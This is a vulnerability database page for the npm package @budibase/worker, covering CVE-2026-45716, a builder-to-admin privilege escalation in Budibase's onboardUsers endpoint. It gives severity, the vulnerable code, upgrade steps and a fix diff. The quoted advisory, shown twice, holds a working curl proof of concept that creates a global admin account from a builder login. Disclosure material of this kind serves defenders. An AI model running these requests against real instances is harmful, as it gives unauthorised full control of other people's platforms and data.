Vulnerabilities in pkg:npm/@budibase/worker

PACKAGE
Advisory Identifier: GHSA-c54j-xp92-wh28
Advisory Summary

CVE-2026-45716 is a HIGH (CVSS 8.8) builder-to-admin privilege escalation vulnerability (CWE-269: Improper Privilege Management) affecting Budibase libraries in the npm ecosystem. The issue involves builder-to-admin privilege escalation via onboardusers endpoint without smtp configuration. Remediation is available by upgrading affected packages to version 3.38.1.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@budibase/worker

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@budibase/worker. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-c54j-xp92-wh28 CVE-2026-45716 HIGH Budibase: Builder-to-Admin Privilege Escalation via onboardUsers Endpoint Without SMTP Configuration
GHSA-x92g-49gh-63qm CVE-2022-3225 MODERATE Budibase Improper Control of Dynamically-Managed Code Resources vulnerability

CVE-2026-45716 at a Glance

CVE Identifier CVE-2026-45716
GHSA Identifier GHSA-c54j-xp92-wh28
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-269: Improper Privilege Management
Affected Product Budibase
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-45716

To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@budibase/worker fixed: 3.38.1
npm install @budibase/worker@3.38.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @budibase/worker

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-45716, inspect your project dependencies using npm:

npm ls @budibase/worker

Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.38.1), your application is affected.

Note: The npm ls @budibase/worker command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-269: Improper Privilege Management, where the product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `POST /api/global/users/onboard` endpoint is protected by `workspaceBuilderOrAdmin` middleware, allowing any user with builder permissions to access it. When SMTP email is not configured (the default for self-hosted Budibase instances), this endpoint bypasses the admin-restricted invite flow and directly creates users via `bulkCreate`, accepting arbitrary `admin` and `builder` role assignments from the request body. A builder-level user can create a new global admin account and receive the generated password in the response, achieving full privilege escalation. ## Details The vulnerability stems from a mismatch between the authorization level of the `onboardUsers` endpoint and the user-creation capabilities it exposes when SMTP is not configured. **Route definition** (`packages/worker/src/api/routes/global/users.ts:93-109`): ```typescript builderOrAdminRoutes // <-- allows builders, not just admins .post( "/api/global/users/onboard", buildInviteMultipleValidation(), controller.onboardUsers ) ``` Compare with the `invite` and `inviteMultiple` endpoints which are correctly admin-only: ```typescript adminRoutes // <-- admin only .post("/api/global/users/invite", buildInviteValidation(), controller.invite) .post("/api/global/users/multi/invite", buildInviteMultipleValidation(), controller.inviteMultiple) ``` **Controller** (`packages/worker/src/api/controllers/global/users.ts:601-630`): ```typescript export const onboardUsers = async (ctx) => { if (await isEmailConfigured()) { await inviteMultiple(ctx) // admin-only path (delegates to invite flow) return } // No SMTP → directly create users with attacker-controlled roles const users = ctx.request.body.map(invite => { const password = generatePassword(12) createdPasswords[invite.email] = password return { email: invite.email, password, forceResetPassword: true, roles: invite.userInfo.apps || {}, admin: { global: !!invite.userInfo.admin }, // <-- attacker-controlled builder: invite.userInfo.builder, // <-- attacker-controlled tenantId: tenancy.getTenantId(), } }) let resp = await userSdk.db.bulkCreate(users) for (const user of resp.successful) { user.password = createdPasswords[user.email] // <-- password returned! } ctx.body = { ...resp, created: true } } ``` **Middleware pass-through** (`packages/backend-core/src/middleware/workspaceBuilderOrAdmin.ts:10-26`): In the worker context (`env.isWorker()` is `true`), when there is no `workspaceId` parameter in the request (which there isn't for the onboard endpoint), the middleware at line 19 checks `!workspaceId && env.isWorker()` — this is `true`, so it falls through to line 21 which only checks `hasBuilderPermissions`. Any global builder passes. **Validation gap** (`buildInviteMultipleValidation` at line 37-45): The Joi schema validates `userInfo` as `Joi.object().optional()` with no constraints on its contents, so `admin` and `builder` fields pass through. **No downstream check**: `bulkCreate` and `buildUser` do not strip or validate admin/builder fields — they are written directly to the user document in CouchDB. ## PoC **Prerequisites:** A self-hosted Budibase instance (default: no SMTP configured) and a user account with builder-level access. **Step 1:** Authenticate as a builder user and obtain the session cookie: ```bash # Login as builder curl -s -c cookies.txt -X POST 'http://localhost:10000/api/global/auth/default/login' \ -H 'Content-Type: application/json' \ -d '{"username":"builder@example.com","password":"builderpassword"}' ``` **Step 2:** Create a new global admin user via the onboard endpoint: ```bash curl -s -X POST 'http://localhost:10000/api/global/users/onboard' \ -H 'Content-Type: application/json' \ -b cookies.txt \ -d '[{"email":"pwned-admin@attacker.com","userInfo":{"admin":{"global":true}}}]' ``` **Expected response** (includes the generated password): ```json { "successful": [{"email":"pwned-admin@attacker.com","password":"<generated-12-char-password>","admin":{"global":true},...}], "unsuccessful": [], "created": true } ``` **Step 3:** Login as the new admin: ```bash curl -s -X POST 'http://localhost:10000/api/global/auth/default/login' \ -H 'Content-Type: application/json' \ -d '{"username":"pwned-admin@attacker.com","password":"<password-from-step-2>"}' ``` The attacker now has full global admin access. ## Impact - **Privilege escalation:** Any builder-level user can escalate to global admin on self-hosted Budibase instances without SMTP configured (the default deployment). - **Full platform compromise:** Global admin can access all apps, all data sources, manage all users, delete apps, and modify platform configuration. - **Credential exposure:** The generated password is returned in the HTTP response, giving the attacker immediate access to the new admin account. - **Stealth:** The created user appears as a legitimately onboarded user, making detection difficult without audit log review. - **Wide applicability:** Self-hosted Budibase instances commonly run without SMTP configuration, making this the default-exploitable path. ## Recommended Fix Move the `onboardUsers` route from `builderOrAdminRoutes` to `adminRoutes` to match the authorization level of `invite` and `inviteMultiple`: ```diff --- a/packages/worker/src/api/routes/global/users.ts +++ b/packages/worker/src/api/routes/global/users.ts -builderOrAdminRoutes +adminRoutes .post( "/api/global/users/onboard", buildInviteMultipleValidation(), controller.onboardUsers ) ``` Additionally, the `onboardUsers` controller should validate that the caller has sufficient permissions to assign the requested role level. Even admin users should not be able to create users with roles exceeding their own. Consider adding explicit validation in the controller: ```typescript // In onboardUsers, before bulkCreate: for (const invite of ctx.request.body) { if (invite.userInfo.admin && !ctx.user.admin?.global) { ctx.throw(403, "Only admins can create admin users") } } ```

CVE-2026-45716 Affected Budibase Versions

1 component(s)
Fixed Versions:
3.38.1
Product / Package Ecosystem Affected Versions Fixed Version
@budibase/worker
npm
< 3.38.1
3.38.1

References

Frequently Asked Questions

What is CVE-2026-45716?
CVE-2026-45716 is a security vulnerability in Budibase involving Builder-to-Admin Privilege Escalation via onboardUsers Endpoint Without SMTP Configuration under CWE-269: Improper Privilege Management.
Which Budibase versions are affected?
Affected versions include releases prior to 3.38.1 across affected packages: @budibase/worker.
What version fixes CVE-2026-45716?
Upgrading to 3.38.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @budibase/worker affected?
Yes, @budibase/worker is affected in releases prior to 3.38.1. Upgrade your dependency to 3.38.1 or later.
What is the CVSS score of CVE-2026-45716?
CVE-2026-45716 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-45716?
CVE-2026-45716 is classified under CWE-269: Improper Privilege Management (The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.).
How can I check npm dependencies for CVE-2026-45716?
Run the dependency tree command: 'npm ls @budibase/worker'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c54j-xp92-wh28",
  "modified" : "2026-06-08T23:51:23Z",
  "published" : "2026-05-18T17:42:24Z",
  "aliases" : [ "CVE-2026-45716" ],
  "summary" : "Budibase: Builder-to-Admin Privilege Escalation via onboardUsers Endpoint Without SMTP Configuration",
  "details" : "## Summary\n\nThe `POST /api/global/users/onboard` endpoint is protected by `workspaceBuilderOrAdmin` middleware, allowing any user with builder permissions to access it. When SMTP email is not configured (the default for self-hosted Budibase instances), this endpoint bypasses the admin-restricted invite flow and directly creates users via `bulkCreate`, accepting arbitrary `admin` and `builder` role assignments from the request body. A builder-level user can create a new global admin account and receive the generated password in the response, achieving full privilege escalation.\n\n## Details\n\nThe vulnerability stems from a mismatch between the authorization level of the `onboardUsers` endpoint and the user-creation capabilities it exposes when SMTP is not configured.\n\n**Route definition** (`packages/worker/src/api/routes/global/users.ts:93-109`):\n```typescript\nbuilderOrAdminRoutes  // <-- allows builders, not just admins\n  .post(\n    \"/api/global/users/onboard\",\n    buildInviteMultipleValidation(),\n    controller.onboardUsers\n  )\n```\n\nCompare with the `invite` and `inviteMultiple` endpoints which are correctly admin-only:\n```typescript\nadminRoutes  // <-- admin only\n  .post(\"/api/global/users/invite\", buildInviteValidation(), controller.invite)\n  .post(\"/api/global/users/multi/invite\", buildInviteMultipleValidation(), controller.inviteMultiple)\n```\n\n**Controller** (`packages/worker/src/api/controllers/global/users.ts:601-630`):\n```typescript\nexport const onboardUsers = async (ctx) => {\n  if (await isEmailConfigured()) {\n    await inviteMultiple(ctx)  // admin-only path (delegates to invite flow)\n    return\n  }\n\n  // No SMTP → directly create users with attacker-controlled roles\n  const users = ctx.request.body.map(invite => {\n    const password = generatePassword(12)\n    createdPasswords[invite.email] = password\n    return {\n      email: invite.email,\n      password,\n      forceResetPassword: true,\n      roles: invite.userInfo.apps || {},\n      admin: { global: !!invite.userInfo.admin },  // <-- attacker-controlled\n      builder: invite.userInfo.builder,              // <-- attacker-controlled\n      tenantId: tenancy.getTenantId(),\n    }\n  })\n\n  let resp = await userSdk.db.bulkCreate(users)\n  for (const user of resp.successful) {\n    user.password = createdPasswords[user.email]  // <-- password returned!\n  }\n  ctx.body = { ...resp, created: true }\n}\n```\n\n**Middleware pass-through** (`packages/backend-core/src/middleware/workspaceBuilderOrAdmin.ts:10-26`):\n\nIn the worker context (`env.isWorker()` is `true`), when there is no `workspaceId` parameter in the request (which there isn't for the onboard endpoint), the middleware at line 19 checks `!workspaceId && env.isWorker()` — this is `true`, so it falls through to line 21 which only checks `hasBuilderPermissions`. Any global builder passes.\n\n**Validation gap** (`buildInviteMultipleValidation` at line 37-45): The Joi schema validates `userInfo` as `Joi.object().optional()` with no constraints on its contents, so `admin` and `builder` fields pass through.\n\n**No downstream check**: `bulkCreate` and `buildUser` do not strip or validate admin/builder fields — they are written directly to the user document in CouchDB.\n\n## PoC\n\n**Prerequisites:** A self-hosted Budibase instance (default: no SMTP configured) and a user account with builder-level access.\n\n**Step 1:** Authenticate as a builder user and obtain the session cookie:\n```bash\n# Login as builder\ncurl -s -c cookies.txt -X POST 'http://localhost:10000/api/global/auth/default/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"builder@example.com\",\"password\":\"builderpassword\"}'\n```\n\n**Step 2:** Create a new global admin user via the onboard endpoint:\n```bash\ncurl -s -X POST 'http://localhost:10000/api/global/users/onboard' \\\n  -H 'Content-Type: application/json' \\\n  -b cookies.txt \\\n  -d '[{\"email\":\"pwned-admin@attacker.com\",\"userInfo\":{\"admin\":{\"global\":true}}}]'\n```\n\n**Expected response** (includes the generated password):\n```json\n{\n  \"successful\": [{\"email\":\"pwned-admin@attacker.com\",\"password\":\"<generated-12-char-password>\",\"admin\":{\"global\":true},...}],\n  \"unsuccessful\": [],\n  \"created\": true\n}\n```\n\n**Step 3:** Login as the new admin:\n```bash\ncurl -s -X POST 'http://localhost:10000/api/global/auth/default/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"pwned-admin@attacker.com\",\"password\":\"<password-from-step-2>\"}'\n```\n\nThe attacker now has full global admin access.\n\n## Impact\n\n- **Privilege escalation:** Any builder-level user can escalate to global admin on self-hosted Budibase instances without SMTP configured (the default deployment).\n- **Full platform compromise:** Global admin can access all apps, all data sources, manage all users, delete apps, and modify platform configuration.\n- **Credential exposure:** The generated password is returned in the HTTP response, giving the attacker immediate access to the new admin account.\n- **Stealth:** The created user appears as a legitimately onboarded user, making detection difficult without audit log review.\n- **Wide applicability:** Self-hosted Budibase instances commonly run without SMTP configuration, making this the default-exploitable path.\n\n## Recommended Fix\n\nMove the `onboardUsers` route from `builderOrAdminRoutes` to `adminRoutes` to match the authorization level of `invite` and `inviteMultiple`:\n\n```diff\n--- a/packages/worker/src/api/routes/global/users.ts\n+++ b/packages/worker/src/api/routes/global/users.ts\n-builderOrAdminRoutes\n+adminRoutes\n   .post(\n     \"/api/global/users/onboard\",\n     buildInviteMultipleValidation(),\n     controller.onboardUsers\n   )\n```\n\nAdditionally, the `onboardUsers` controller should validate that the caller has sufficient permissions to assign the requested role level. Even admin users should not be able to create users with roles exceeding their own. Consider adding explicit validation in the controller:\n\n```typescript\n// In onboardUsers, before bulkCreate:\nfor (const invite of ctx.request.body) {\n  if (invite.userInfo.admin && !ctx.user.admin?.global) {\n    ctx.throw(403, \"Only admins can create admin users\")\n  }\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/worker"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.38.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-c54j-xp92-wh28"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45716"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/releases/tag/3.38.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-269" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-18T17:42:24Z",
    "nvd_published_at" : "2026-05-27T18:16:25Z"
  }
}